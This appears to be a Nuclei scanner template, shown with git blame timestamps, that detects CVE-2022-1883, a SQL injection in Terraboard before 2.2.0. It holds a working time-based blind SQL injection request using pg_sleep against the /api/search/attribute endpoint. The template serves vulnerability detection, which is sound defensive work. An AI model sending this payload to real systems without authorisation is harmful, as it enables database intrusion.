2022-10-06 08:33:56 +00:00
|
|
|
id: CVE-2022-1883
|
|
|
|
|
|
|
|
info:
|
2022-11-21 09:58:48 +00:00
|
|
|
name: Terraboard < 2.2.0 - SQL Injection
|
2022-10-06 08:33:56 +00:00
|
|
|
author: edoardottt
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
SQL Injection in GitHub repository camptocamp/terraboard prior to 2.2.0.
|
|
|
|
reference:
|
|
|
|
- https://huntr.dev/bounties/a25d15bd-cd23-487e-85cd-587960f1b9e7/
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-1883
|
|
|
|
classification:
|
|
|
|
cve-id: CVE-2022-1883
|
2022-11-21 09:58:48 +00:00
|
|
|
tags: cve,cve2022,terraboard,sqli
|
2022-10-06 08:33:56 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
@timeout: 10s
|
|
|
|
GET /api/search/attribute?tf_version='+OR+pg_sleep(5)+OR+states.tf_version+LIKE+'%" HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'duration>=5'
|
|
|
|
|
2022-11-21 09:58:48 +00:00
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '"page":'
|
|
|
|
- '"results":'
|
|
|
|
condition: and
|
|
|
|
|
2022-10-06 08:33:56 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
2022-11-21 09:58:48 +00:00
|
|
|
- 200
|